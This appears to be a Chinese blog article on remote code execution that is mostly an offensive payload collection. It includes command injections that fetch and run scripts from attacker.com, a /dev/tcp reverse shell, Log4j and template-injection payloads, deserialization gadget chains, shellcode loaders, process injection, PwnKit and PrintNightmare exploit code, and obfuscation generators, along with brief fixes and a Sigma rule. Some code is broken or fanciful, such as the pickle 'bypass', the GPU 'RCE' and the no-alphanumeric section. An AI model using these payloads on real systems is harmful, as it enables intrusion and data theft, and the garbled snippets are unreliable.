RCE漏洞攻防全解:从原理到实战

版权声明与原创承诺
本文所有文字、实验方法及技术分析均为 本人原创作品,受《中华人民共和国著作权法》保护。未经本人书面授权,禁止任何形式的转载、摘编或商业化使用。

道德与法律约束
文中涉及的网络安全技术研究均遵循 合法合规原则:
1️⃣ 所有渗透测试仅针对 本地授权靶机环境
2️⃣ 技术演示均在 获得书面授权的模拟平台 完成
3️⃣ 坚决抵制任何未授权渗透行为

技术资料获取
如需完整实验代码、工具配置详解及靶机搭建指南:
👉 请关注微信公众号 「零日破晓」
后台回复关键词 【博客资源】 获取独家技术文档包

法律追责提示
对于任何:
✖️ 盗用文章内容
✖️ 未授权转载
✖️ 恶意篡改原创声明
本人保留法律追究权利。

一、RCE漏洞核心定义

       远程代码执行(Remote Code Execution, RCE)是一种高危安全漏洞,其核心在于攻击者通过构造恶意输入,绕过目标系统的安全防护机制,直接触发系统或应用程序执行任意代码。这种漏洞的本质是应用程序对用户输入的校验、过滤或权限控制存在缺陷,导致攻击者能够将恶意代码注入到系统的执行流程中。

1. RCE漏洞的本质

关键特征:

  远程性:攻击者无需物理接触或本地权限,通过远程网络即可触发漏洞。

  任意性:可执行任意代码(如系统命令、脚本、恶意函数等),完全控制目标系统。

  隐蔽性:攻击代码可能伪装成正常请求,难以被传统防护手段识别。

2. RCE漏洞的成因

RCE漏洞的产生通常与以下技术场景相关:

①输入验证不足:应用程序未对用户输入进行严格的合法性校验(如白名单过滤、特殊字符转义),导致恶意输入被直接处理。

②危险函数滥用:使用未受控的函数执行系统命令或代码,例如:

   PHP:eval()、system()、exec()、passthru()、shell_exec()。

// 未过滤用户输入直接执行系统命令

$ip = $_GET['ip'];

system("ping -c 4 " . $ip);  // 攻击者可注入 ;rm -rf /

   Python:os.system()、subprocess.run()。

   Java:Runtime.exec()。

// 反序列化漏洞触发代码执行

ObjectInputStream ois = new ObjectInputStream(inputStream);

ois.readObject();  // 未校验反序列化数据,触发恶意代码

③逻辑设计缺陷:如未处理反序列化漏洞、文件包含漏洞,或未限制用户权限的接口暴露。

④第三方组件风险:依赖存在已知漏洞的库或框架(如Log4j、ThinkPHP),攻击者可通过组件漏洞实现代码执行。

3. RCE与其他漏洞的关系

RCE的定义存在广义与狭义之分:

狭义RCE:特指通过代码注入(如PHP的eval())直接执行恶意代码。

广义RCE:包括所有能导致远程代码执行的漏洞类型,例如:

  ①命令注入:通过拼接恶意命令参数触发(如system("ping ".$_GET['ip']))。

  ②反序列化漏洞:利用恶意序列化数据触发代码执行(如Java的ObjectInputStream)。

  ③文件包含漏洞:通过包含恶意文件间接执行代码。

4. RCE漏洞的典型利用场景

①Web应用:通过表单提交、URL参数或API接口注入恶意代码(如文件上传后触发WebShell)。

②网络设备:利用管理接口的命令注入漏洞(如路由器、防火墙的Ping接口)。

③物联网设备:通过固件漏洞或弱认证接口执行远程命令。

④云服务:攻击云主机或容器化应用的API接口实现横向渗透。

5. RCE漏洞的危害等级

RCE被普遍列为最高危漏洞(CVSS评分9.8-10.0),其危害包括:

①完全控制目标系统:攻击者可窃取数据、植入后门、破坏服务。

②横向渗透:以受控主机为跳板攻击内网其他系统。

③数据泄露与篡改:访问敏感信息(如用户凭证、数据库)或修改关键配置。

6.关键特征矩阵详解

维度

说明

典型代码示例

攻击流程图示(文字描述)

执行位置

目标服务器或应用系统(如Web服务器、数据库、云主机)

$cmd = $_GET['cmd'];

system($cmd);  // 直接执行用户输入的命令

[攻击者] → [恶意输入] → [目标系统执行环境]

权限级别

应用运行权限(如Web用户www-data/系统用户root)

Process p = Runtime.getRuntime().exec("sudo rm -rf /");

// 以root权限执行高危命令

[低权限进程] → [提权操作] → [高权限执行]

触发方式

网络请求、文件解析、反序列化、模板渲染等

# Jinja2模板注入

{{ config.__class__.__base__.__subclasses__()[X].load_module('os').system('id') }}

[输入点] → [漏洞触发点] → [代码执行链]

代码类型

系统命令(Bash/PowerShell)、脚本语言(PHP/Python)、字节码(Java)

// 反序列化漏洞

ObjectInputStream ois = new ObjectInputStream(inputStream);

ois.readObject();  // 加载恶意类

[恶意输入] → [解析引擎] → [代码加载与执行]

执行位置:Web服务器环境

攻击示例(PHP命令注入):

// 漏洞代码:直接拼接用户输入到系统命令

$ip = $_GET['ip'];

system("ping -c 4 " . $ip);

攻击载荷:http://example.com/ping.php?ip=127.0.0.1;cat%20/etc/passwd

防御方案:

// 使用escapeshellarg过滤参数

$safe_ip = escapeshellarg($_GET['ip']);

system("ping -c 4 " . $safe_ip);
权限级别:系统用户权限

攻击示例(Java反序列化提权):

// 漏洞代码:未校验反序列化数据

ObjectInputStream ois = new ObjectInputStream(request.getInputStream());

ois.readObject();  // 加载恶意类(如利用CommonsCollections链)

防御方案:

// 漏洞代码:未校验反序列化数据

ObjectInputStream ois = new ObjectInputStream(request.getInputStream());

ois.readObject();  // 加载恶意类(如利用CommonsCollections链)
触发方式:文件解析漏洞

攻击示例(PHP文件包含):

// 漏洞代码:用户可控文件路径

include($_GET['page'] . '.php');

攻击载荷:http://example.com/index.php?page=../../etc/passwd

防御方案:

// 白名单限制文件路径

$allowed_pages = ['home', 'about'];

if (in_array($_GET['page'], $allowed_pages)) {

    include($page . '.php');

}
代码类型:脚本语言注入

攻击示例(Python模板注入):

# Flask SSTI漏洞

from flask import Flask, render_template_string

app = Flask(__name__)


@app.route('/')

def home():

    name = request.args.get('name', 'World')

    return render_template_string('{{ self.__init__.__globals__.__builtins__.os.popen(name).read() }}')

攻击载荷:/?name=id

防御方案:

# 使用Jinja2沙箱模式

from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()

template = env.from_string("Hello {{ name }}!")
攻击流程图示(Mermaid语法)

实战案例:Log4j2 RCE(CVE-2021-44228)

漏洞原理:JNDI注入触发远程代码加载

攻击载荷:${jndi:ldap://attacker.com/exploit}

防御方案:

  1. 升级Log4j至2.17.0+

  2. 禁用JNDI远程加载:

-Dlog4j2.formatMsgNoLookups=true

二、漏洞原理深度解析

1. 根本原因模型

漏洞的核心本质是 “用户输入未被安全处理即进入代码执行环境”,其流程可抽象为:  

  该模型的关键风险点在于:用户可控输入与代码执行的边界被打破,导致攻击者能够注入恶意内容并最终被执行。

2. 核心漏洞点分类(含代码、图示及攻防细节)

2.1 命令注入漏洞(Command Injection)

触发机制:直接将用户输入拼接到系统命令中,未对特殊字符(如 ;、|、&&、$() 等)进行过滤或转义。  

典型场景:调用系统命令的函数(如 system()、exec()、shell_exec()、os.system())。  

代码层面分析

漏洞代码(PHP):  

$filename = $_GET['file']; // 用户输入直接拼接

system("cat $filename");   // 未过滤特殊字符

攻击者输入 file=passwd; rm -rf /,实际执行命令为 cat passwd; rm -rf /,导致系统文件被删除。  

修复代码:  

$filename = escapeshellarg($_GET['file']); // 使用转义函数

system("cat $filename");

图示攻击流程

2.2 反序列化漏洞(Deserialization Vulnerability)

触发机制:反序列化过程中,恶意构造的序列化数据包含可触发代码执行的逻辑(如魔术方法 __reduce__、__wakeup)。  

典型场景:Java ObjectInputStream.readObject()、Python pickle.loads()、.NET BinaryFormatter.Deserialize()。  

代码层面分析(Python Pickle反序列化)

漏洞代码:  

import pickle


class MaliciousPayload:

    def __reduce__(self):

        return (os.system, ('whoami',))  # 反序列化时执行os.system('whoami')


payload = pickle.dumps(MaliciousPayload())

# 攻击者构造payload后,诱导服务器执行pickle.loads(payload)

修复代码:  

使用安全的序列化库(如JSON)替代 pickle,或对反序列化数据进行签名校验。  

图示攻击流程

2.3 模板注入漏洞(Template Injection)

触发机制:模板引擎解析用户输入时,未禁止危险表达式(如 {{ system('ls') }}),导致模板代码被动态执行。  

典型场景:Jinja2(Python)Freemarker(Java)Thymeleaf(Spring)。  

代码层面分析(Jinja2模板注入)

漏洞代码(Flask框架):  

from flask import Flask, render_template_string


@app.route('/search')

def search():

    user_input = request.args.get('query')

return render_template_string("搜索结果:{{ query }}", query=user_input)  # 未过滤模板语法


# 攻击者输入:query={{ config.__class__.__init__.__globals__['os'].popen('whoami').read() }}

修复代码:  

禁用危险标签/过滤器,或使用白名单校验输入。  

return render_template_string("搜索结果:{{ query|safe }}", query=escape(user_input))

图示攻击流程

2.4 动态代码执行漏洞(Dynamic Code Execution)

触发机制:直接调用解释器执行字符串代码(如 eval()、exec()、Function()、new Function())。 

典型场景:JavaScript eval()、Python eval()、PHP assert()。  

代码层面分析(JavaScript eval注入)

漏洞代码:  

let userInput = document.getElementById("input").value;

eval("const result = " + userInput); // 未过滤用户输入


// 攻击者输入: x; fetch('https://evil.com/?data='+document.cookie)

修复代码:  

避免使用 eval(),改用安全的解析方式(如JSON.parse)。  

try {

    const data = JSON.parse(userInput);

} catch (e) {

    // 错误处理

}

图示攻击流程

2.5 文件包含漏洞(File Inclusion Vulnerability)

触发机制:通过动态加载文件路径(如 include()、require()、include_once()),用户输入控制文件名或路径。  

典型场景:PHP include($_GET['page'])、JSP <jsp:include page="${param.page}"/>。  

代码层面分析(PHP本地文件包含)

漏洞代码:  

$page = $_GET['page']; // 用户输入直接作为文件路径

include($page . '.php'); // 未验证路径合法性


// 攻击者输入: page=../../../etc/passwd%00 (利用NULL字节截断)

修复代码:  

白名单校验文件路径,禁止目录遍历。  

$allowed_pages = ['home', 'about', 'contact'];

if (in_array($page, $allowed_pages)) {

    include($page . '.php');

} else {

    die('非法请求');

}

图示攻击流程

三、攻击手法全解

一、命令注入攻击(Command Injection)全解

1. 攻击链深度剖析
participant A as 攻击者

participant W as Web应用

participant S as OS Shell

participant K as 内核

participant F as 文件系统


A->>W: 发送恶意请求: ?file=legit.txt;curl${IFS}attacker.com/shell.sh|sh

Note right of W: 漏洞代码:<br/>system("cat "+user_input)

W->>S: 执行命令: sh -c "cat legit.txt;curl attacker.com/shell.sh|sh"

S->>K: 系统调用: fork() + execve()

K->>S: 返回PID

S->>K: 网络连接请求(端口80)

K->>F: 创建/tmp/.x.sh

F-->>K: 文件创建成功

S->>K: 执行sh /tmp/.x.sh

K->>S: 执行结果

S->>W: 命令输出

W->>A: HTTP响应(包含敏感信息)

Note over K: 关键步骤:<br/>1. 命令分隔符解析(;)<br/>2. 管道符执行(|)<br/>3. 环境变量利用(${IFS})<br/>4. 远程代码下载执行
2. 操作系统特异性攻击手法
Linux/Unix系统:
# 基础注入

; id;


# 复杂利用

`{echo,cGluZyAxOTIuMTY4LjEuMQ==}|{base64,-d}|{bash,-i}`


# 无文件攻击

exec 3<>/dev/tcp/attacker.com/4444; cat <&3 | while read line; do $line 2>&3; done


# 环境变量利用

${PATH:0:1}bin${PATH:0:1}sh -c "whoami"
Windows系统:
# 基础注入

ping | whoami


# 编码绕过

certutil -f -decode payload.b64 payload.exe & payload.exe


# 无符号命令执行

set /p=<!DOCTYPE html^><^html^><^body^><^script^>new ActiveXObject("WScript.Shell").Run("calc.exe");<^/script^><^/body^><^/html^> > %TEMP%\p.html & start %TEMP%\p.html


# COM对象利用

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("cmd /c calc");
3. 高级绕过技术
字符过滤绕过矩阵:

过滤项

绕过技术

示例

空格

IFS变量、${IFS}、{cat,/etc/passwd}、%09(TAB)

cat${IFS}/etc/passwd

斜杠

通配符、环境变量、八进制编码

/???/?at /etc/passwd

关键字

反斜杠插入、变量拼接、编码

c\at /etc/passwd

引号

十六进制编码、变量扩展、$@

echo$@ 414243   xxd -r -p

管道符

%0a(换行)、%0d(回车)、tee、重定向

echo id %3E /tmp/out

美元符

格式控制符、变量扩展

echo `whoami`

动态Payload生成:
import base64


def generate_payload(cmd):

    # 随机选择绕过技术

    techniques = [

        f"${{printf,$(base64 -d<<<'{base64.b64encode(cmd.encode()).decode()}')}}",

        f"eval $(echo {cmd} | xxd -p -r)",

        f"python -c 'import os; os.system(\"{cmd}\")'"

    ]

return random.choice(techniques)


# 生成: ${printf,$(base64 -d<<<ZWNobyAiSGVsbG8gV29ybGQi)}}

print(generate_payload('echo "Hello World"'))

二、反序列化攻击深度解析

1. Java反序列化利用链

完整利用链示例(CommonsCollections6):
Transformer[] transformers = new Transformer[]{

    new ConstantTransformer(Runtime.class),

    new InvokerTransformer("getMethod", 

        new Class[]{String.class, Class[].class}, 

        new Object[]{"getRuntime", new Class[0]}),

    new InvokerTransformer("invoke", 

        new Class[]{Object.class, Object[].class}, 

        new Object[]{null, new Object[0]}),

    new InvokerTransformer("exec", 

        new Class[]{String.class}, 

        new Object[]{"calc.exe"})

};


Transformer chainedTransformer = new ChainedTransformer(transformers);

Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");

BadAttributeValueExpException obj = new BadAttributeValueExpException(null);


// 反射设置val字段

Field valField = BadAttributeValueExpException.class.getDeclaredField("val");

valField.setAccessible(true);

valField.set(obj, entry);


// 序列化对象

ByteArrayOutputStream baos = new ByteArrayOutputStream();

ObjectOutputStream oos = new ObjectOutputStream(baos);

oos.writeObject(obj);

oos.close();
2. .NET反序列化攻击
BinaryFormatter利用:
using (MemoryStream ms = new MemoryStream())

{

    BinaryFormatter formatter = new BinaryFormatter();

   

    // 构造恶意TypeConfuseDelegate

    SortedSet<string> set1 = new SortedSet<string>(new Comparer());

    SortedSet<string> set2 = new SortedSet<string>(new Comparer());

   

    set1.Add("cmd");

    set1.Add("/c calc.exe");

   

    set2.Add("cmd");

    set2.Add("/c notepad");

   

    FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", 

        BindingFlags.NonPublic | BindingFlags.Instance);

    object[] invoke_list = set1.Comparer.GetType()

        .GetField("_comparer", BindingFlags.NonPublic | BindingFlags.Instance)

        .GetValue(set1.Comparer) as object[];

   

    fi.SetValue(invoke_list[1], 

        set2.Comparer.GetType()

        .GetField("_comparer", BindingFlags.NonPublic | BindingFlags.Instance)

        .GetValue(set2.Comparer));

   

    formatter.Serialize(ms, set1);

   

    // 发送恶意payload

    byte[] payload = ms.ToArray();

    SendToTarget(payload);

}
3. Python Pickle反序列化
高级利用技术:
import pickle

import base64

import types


class Exploit:

    def __reduce__(self):

        # 使用字节码加载技术绕过检测

        return (types.FunctionType, 

               (types.CodeType(0,0,0,0,0,b'K\x00\x84\x00Z\x00d\x00\x89\x00'), 

               {}, (), (), ""))

   

    @staticmethod

    def __setstate__(state):

        import os

        os.system('curl attacker.com/shell | sh')


# 生成绕过WAF的payload

payload = pickle.dumps({

    "__class__": {

        "__reduce__": lambda: (exec, ("import os; os.system('id')",))

    }

}, protocol=4)

三、模板注入攻击(SSTI)高级技术

1. 多语言SSTI利用矩阵

引擎

探测Payload

RCE Payload

Jinja2

`{{7*'7'}}` → 7777777

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}

Twig

`{{7*7}}` → 49

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}

Freemarker

`${7*7}` → 49

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("whoami") }

Velocity

`#set($x=7*7)`

#set($str=$x.getClass().forName("java.lang.String"))

Thymeleaf

`${7*7}` → 49

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x

2. 沙箱逃逸技术
Python沙箱逃逸:
# 基础绕过

{{ ''.__class__.__mro__[1].__subclasses__()[376]('id',shell=True) }}


# 无数字绕过

{{ (request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f'))['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os').popen('id').read() }}


# 全字符限制绕过

{% set chr=().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr %}

{% set cmd = chr(105)%2bchr(100) %}

{{ config.__class__.__init__.__globals__['os'].popen(cmd).read() }}
Java模板引擎沙箱逃逸:
// FreeMarker高级利用

<#assign classLoader=object?object.class.classLoader>

<#assign clazz=classLoader.loadClass("sun.misc.Unsafe")>

<#assign field=clazz.getDeclaredField("theUnsafe")>

<#assign unsafe=field.get(null)>

<#assign offset=unsafe.objectFieldOffset(classLoader.findClass("java.lang.Thread").getDeclaredField("threadLocals"))>

<#assign thread=unsafe.getObject(Thread.currentThread(),offset)>

<#assign table=unsafe.getObject(thread,12)>

<#assign entry=unsafe.getObject(table,16)>

<#assign context=unsafe.getObject(entry,8)>

<#assign writer=context.get("writer")>

<#assign writerClass=writer.class>

<#assign out=writerClass.getDeclaredField("out")>

<#assign output=out.get(writer)>

<#assign outputClass=output.class>

<#assign target=outputClass.getSuperclass().getDeclaredField("target")>

<#assign realOutput=target.get(output)>

<#assign realOutputClass=realOutput.class>

<#assign writeMethod=realOutputClass.getDeclaredMethod("write", [].class)>

${writeMethod.invoke(realOutput, [104,101,108,108,111])}

四、新型RCE攻击手法

1. WebAssembly内存攻击
// 恶意wasm模块

__attribute__((export_name("run")))

void run() {

    // 系统调用注入

    __syscall3(SYS_execve, (uint32_t)"/bin/sh", (uint32_t)argv, 0);

}


// JavaScript加载

WebAssembly.instantiateStreaming(fetch('malicious.wasm'))

  .then(obj => {

      obj.instance.exports.run();

  });
2. 服务器端原型污染链
// Node.js原型污染+RCE

const merge = (target, source) => {

    for (let key in source) {

        if (typeof target[key] === 'object' && typeof source[key] === 'object') {

            merge(target[key], source[key]);

        } else {

            target[key] = source[key];

        }

    }

}


// 恶意输入

const malicious = JSON.parse('{"__proto__": {"shell": "node", "NODE_OPTIONS": "--inspect=0.0.0.0:1337"}}');


merge({}, malicious);

// 触发子进程执行

require('child_process').spawn('echo', ['RCE']);
3. GPU计算漏洞利用
// CUDA内核RCE示例

__global__ void malicious_kernel() {

    asm volatile(

        "movq $0x68732f6e69622f, %%rdi;"  // /bin/sh

        "push %%rdi;"

        "movq %%rsp, %%rdi;"

        "xorq %%rsi, %%rsi;"

        "xorq %%rdx, %%rdx;"

        "movq $59, %%rax;"  // execve syscall

        "syscall;"

        : : : "rdi", "rsi", "rdx", "rax"

    );

}


int main() {

    malicious_kernel<<<1,1>>>();

    cudaDeviceSynchronize();

    return 0;

}

五、防御绕过技术精粹

1. 命令注入绕过工具箱
def generate_obfuscated_cmd(cmd):

    """生成混淆的命令注入payload"""

    encodings = [

        lambda s: ''.join(['\\x{:02x}'.format(ord(c)) for c in s]),

        lambda s: base64.b64encode(s.encode()).decode(),

        lambda s: ''.join(['${printf "' + '%03o' % ord(c) + '"} ' for c in s]),

        lambda s: ''.join(['$@' for _ in s]) + " <<<" + s

    ]

   

    # 随机选择3种混淆技术

    selected = random.sample(encodings, 3)

    result = cmd

    for func in selected:

        result = func(result)

   

    return result


# 生成: $@$@$@$@$@$@$@$@$@$@ <<< $(printf "\143\141\164\040\057\145\164\143\057\160\141\163\163\167\144")

print(generate_obfuscated_cmd("cat /etc/passwd"))
2. 反序列化绕过技术
// Java反序列化高级绕过

public class AdvancedGadget implements Serializable {

    private static final long serialVersionUID = 1L;

   

    private void readObject(ObjectInputStream ois) throws Exception {

        // 反射绕过安全管理器

        Field f = Class.forName("java.lang.ClassLoader")

                     .getDeclaredField("parallelLockMap");

        f.setAccessible(true);

        ConcurrentHashMap map = (ConcurrentHashMap) f.get(null);

       

        // 注入自定义类加载器

        map.put(this.getClass().getClassLoader(), new Object());

       

        // 使用Unsafe加载恶意类

        Class unsafeClass = Class.forName("sun.misc.Unsafe");

        Field theUnsafe = unsafeClass.getDeclaredField("theUnsafe");

        theUnsafe.setAccessible(true);

        Object unsafe = theUnsafe.get(null);

       

        Method defineClass = unsafeClass.getMethod("defineClass", 

            String.class, byte[].class, int.class, int.class, 

            ClassLoader.class, ProtectionDomain.class);

       

        byte[] evilClass = Files.readAllBytes(Paths.get("EvilClass.class"));

        Class evil = (Class) defineClass.invoke(unsafe, null, evilClass, 

            0, evilClass.length, null, null);

        evil.newInstance();

    }

}

六、攻击检测与取证

1. RCE攻击痕迹检测点

2. 高级检测规则示例

# Sigma规则示例

detection:

  selection:

    EventID: 4688 # Windows进程创建

    CommandLine|contains:

      - '*;*'

      - '*&*'

      - '*|*'

      - '*`*'

      - '*$(*)*'

      - 'certutil*'

      - '* -decode *'

  filter:

    Image|endswith:

      - '\cmd.exe'

      - '\powershell.exe'

      - '\bash.exe'

  condition: selection and not filter

四、操作系统层面攻击剖析

一、Linux系统命令注入高阶技术

1.1 命令分隔符的深层利用

实际攻击示例:

# 多重分隔符组合攻击

curl${IFS}attacker.com/mal.sh;chmod${IFS}+x${IFS}mal.sh&&./mal.sh|sh


# 时间盲注攻击(无回显)

ping${IFS}-c${IFS}4${IFS}127.0.0.1${IFS}&&sleep${IFS}$(if${IFS}[${IFS}$(id${IFS}-u)${IFS}-eq${IFS}0${IFS}];${IFS}then${IFS}echo${IFS}10;${IFS}else${IFS}echo${IFS}1;${IFS}fi)
1.2 环境变量高级利用
# 通过环境变量执行命令

${PATH:0:1}bin${PATH:0:1}sh${IFS}-c${IFS}"whoami"


# 环境变量编码攻击

export${\u0063\u006d\u0064}="curl${IFS}attacker.com/shell"

eval${IFS}$cmd


# 环境变量覆盖PATH

export${IFS}PATH=/tmp:$PATH

echo${IFS}'echo${IFS}pwned'>/tmp/ls

chmod${IFS}+x${IFS}/tmp/ls

ls  # 执行恶意命令
1.3 通配符深度利用
# 文件泄露攻击

cat${IFS}/???/pass*  # 等价于 cat /etc/passwd


# 命令参数注入

find${IFS}/${IFS}-name${IFS}*.log${IFS}-exec${IFS}sh${IFS}-c${IFS}"echo${IFS}HACKED>>{}"${IFS}\;


# 通配符编码绕过

/???/b??${IFS}/???/p??swd  # /bin/cat /etc/passwd
1.4 无字母数字RCE(仅用$(){})
# 生成"id"命令

_=$(($$/$$))       # 得到1

__=${_}{_,}        # 1{_,} => 1_ 1,

___=${__:1:1}      # 得到_

____=${___}$(($$/$$))${___}  # _1_

_____=${____:1:1}  # 得到1

______=${_____}$(($$/$$))    # 11

_______=${______}$(($$/$$))  # 111


# 构造"id"字符串

${_______::1} = "1" -> 八进制151 -> 字符"i"

${_______::2} = "11" -> 八进制151151 -> 字符"d"

$(echo${IFS}-e${IFS}"\151\144")  # 最终执行id命令

二、Windows系统命令注入高阶技术

2.1 命令分隔符深度利用

实际攻击示例:
:: 多重分隔符组合

ping%0a%COMSPEC%+/c+whoami&dir||calc


:: 时间盲注攻击

ping -n 4 127.0.0.1 && if %USERNAME%==Administrator (timeout /t 10) else (timeout /t 1)
2.2 环境变量高级利用
REM 环境变量切割

%ProgramData:~0,3% => "C:\"


REM 构造命令

set a=net

set b= user

set c= hacker /add

%a%%b%%c%


REM Unicode绕过

%coMSPeC% /c whoami
2.3 Windows特有技术
:: WMIC命令执行

wmic process call create "cmd.exe /c whoami > C:\output.txt"


:: Rundll32执行

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("cmd /c calc");


:: Mshta执行

mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run""cmd.exe /c whoami"",0:close")


:: InstallUtil绕过

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U "C:\payload.dll"

三、内存注入攻击技术

3.1 Linux进程注入
#include <sys/mman.h>

#include <string.h>

#include <unistd.h>


// 恶意Shellcode (execve("/bin/sh"))

char shellcode[] =

"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53"

"\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";


int main() {

    // 创建可执行内存页

    void *mem = mmap(NULL, sizeof(shellcode), PROT_READ|PROT_WRITE|PROT_EXEC,

                    MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);

   

    // 复制Shellcode

    memcpy(mem, shellcode, sizeof(shellcode));

   

    // 类型转换并执行

    void (*func)() = (void (*)())mem;

    func();

   

    return 0;

}
3.2 Windows进程注入
#include <windows.h>


int main() {

    STARTUPINFO si = { sizeof(si) };

    PROCESS_INFORMATION pi;

   

    // 创建挂起进程

    CreateProcessA(NULL, "notepad.exe", NULL, NULL, FALSE, 

                  CREATE_SUSPENDED, NULL, NULL, &si, &pi);

   

    // Shellcode: MessageBoxA

    unsigned char shellcode[] = {

        0x48,0x83,0xEC,0x28,0x48,0x31,0xC0,0x65,0x48,0x8B,0x80,0x60,0x00,0x00,0x00,0x48,

        0x8B,0x40,0x18,0x48,0x8B,0x70,0x20,0x48,0xAD,0x48,0x96,0x48,0xAD,0x48,0x8B,0x58,

        0x20,0x4D,0x31,0xC9,0x4C,0x89,0xCA,0x48,0x83,0xC2,0x3C,0x48,0x31,0xF6,0x44,0x8B,

        0x1A,0x4C,0x01,0xDA,0x4C,0x89,0xD1,0x48,0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,

        0x20,0x41,0xC1,0xC9,0x0D,0x41,0x01,0xC1,0x38,0xE0,0x75,0xF1,0x4C,0x39,0xCB,0x75,

        0xE0,0x48,0x31,0xD2,0x48,0x31,0xC0,0x50,0x48,0xB8,0x57,0x69,0x6E,0x45,0x78,0x65,

        0x63,0x00,0x50,0x48,0x89,0xE2,0x48,0x31,0xC9,0x48,0x83,0xC1,0x30,0x48,0x31,0xC0,

        0xAC,0x04,0x01,0x3C,0x01,0x75,0xF7,0x48,0xFF,0xC9,0x48,0x31,0xF6,0x56,0x48,0x89,

        0xE6,0x48,0x31,0xD2,0x4D,0x31,0xC0,0x4D,0x31,0xC9,0x48,0x83,0xEC,0x20,0xFF,0xD0

    };

   

    // 在目标进程分配内存

    LPVOID remoteMem = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode),

                                   MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);

   

    // 写入Shellcode

    WriteProcessMemory(pi.hProcess, remoteMem, shellcode, sizeof(shellcode), NULL);

   

    // 修改线程上下文

    CONTEXT ctx;

    GetThreadContext(pi.hThread, &ctx);

    ctx.Rip = (DWORD_PTR)remoteMem;

    SetThreadContext(pi.hThread, &ctx);

   

    // 恢复线程执行

    ResumeThread(pi.hThread);

   

    return 0;

}

四、操作系统防御机制绕过技术

4.1 Linux防御绕过

实际绕过示例:
# NX绕过:Return-to-libc

(python -c 'print "A"*76 + "\xf0\xae\xe4\xf7" + "AAAA" + "\x1f\x92\xe3\xf7"'; cat) | ./vuln_program


# Seccomp绕过:使用允许的系统调用

# 假设只允许read/write

# 使用open->read->write泄露文件

asm(

    "mov $2, %rax;"

    "lea file(%rip), %rdi;"

    "syscall;"

    "mov %rax, %rdi;"

    "mov $0, %rsi;"

    "mov $0, %rdx;"

    "mov $0, %rax;"

    "syscall;"

    "mov $1, %rdi;"

    "mov %rax, %rsi;"

    "mov $100, %rdx;"

    "mov $1, %rax;"

    "syscall;"

    "file: .asciz \"/etc/passwd\""

)
4.2 Windows防御绕过

实际绕过示例:

// DEP绕过:ROP链构造

rop_chain = [

    kernel32_base + 0x0002c10c,  // POP EAX; RET

    0x90909090,

    kernel32_base + 0x0001a1fc,  // POP ECX; RET

    address_of_writable_memory,

    kernel32_base + 0x0002d4a4,  // MOV [ECX], EAX; RET

   

    // 设置VirtualProtect参数

    kernel32_base + 0x0002c10c,  // POP EAX; RET

    (DWORD) &VirtualProtect,

   

    // 调用VirtualProtect

    kernel32_base + 0x0001f075   // CALL EAX

];


// 执行Shellcode

memcpy(address_of_writable_memory, shellcode, shellcode_size);

jmp_to_shellcode();

五、内核级攻击技术

5.1 Linux内核漏洞利用
// CVE-2021-4034 pkexec本地提权漏洞利用

#include <unistd.h>


int main() {

    char *argv[] = { NULL };

    char *envp[] = {

        "pwnkit",

        "PATH=GCONV_PATH=.",

        "SHELL=/does/not/exist",

        "CHARSET=PWNKIT",

        "GIO_USE_VFS=",

        NULL

    };

   

    // 创建恶意GCONV_PATH

    system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");

    system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");

    system("gcc -shared -fPIC -o pwnkit/pwnkit.so exploit.c");

   

    // 触发漏洞

    execve("/usr/bin/pkexec", argv, envp);

    return 0;

}
5.2 Windows内核漏洞利用
// CVE-2021-34527 PrintNightmare

#include <windows.h>

#include <winspool.h>


int exploit() {

    // 加载恶意DLL

    HANDLE hPrinter = NULL;

    PRINTER_DEFAULTS pd = { NULL, NULL, PRINTER_ALL_ACCESS };

   

    // 打开打印机服务

    OpenPrinterA("\\\\127.0.0.1", &hPrinter, &pd);

   

    // 设置打印机驱动

    DRIVER_INFO_3 di;

    memset(&di, 0, sizeof(di));

    di.cVersion = 3;

    di.pName = "Pentest";

    di.pEnvironment = "Windows x64";

    di.pDriverPath = "C:\\Windows\\System32\\kernelbase.dll";

    di.pDataFile = "\\\\attacker.com\\share\\malicious.dll";

    di.pConfigFile = "C:\\Windows\\System32\\kernelbase.dll";

   

    // 添加恶意驱动

    AddPrinterDriverExA(NULL, 3, (LPBYTE)&di, APD_COPY_ALL_FILES);

   

    return 0;

}

五、攻击类型矩阵

1.攻击类型全景矩阵

2.超详细攻击类型矩阵

攻击类型

技术特点

利用场景

检测难度

危害等级

典型漏洞案例

直接命令执行

简单命令拼接

无复杂依赖

即时执行

Web应用漏洞

API接口滥用

系统服务暴露

★☆☆☆☆

★★★☆☆

CVE-2014-6271(Shellshock)

CVE-2021-44228(Log4j)

盲注型RCE

无回显输出

隐蔽数据外带

时间延迟探测

WAF防护严格场景

内部系统渗透

无交互环境

★★★☆☆

★★★★☆

CVE-2017-9805(Struts2)

CVE-2019-11510(Pulse VPN)

内存型RCE

无文件落地

直接内存加载

规避文件扫描

EDR防护环境

容器环境

高级威胁攻击

★★★★☆

★★★★★

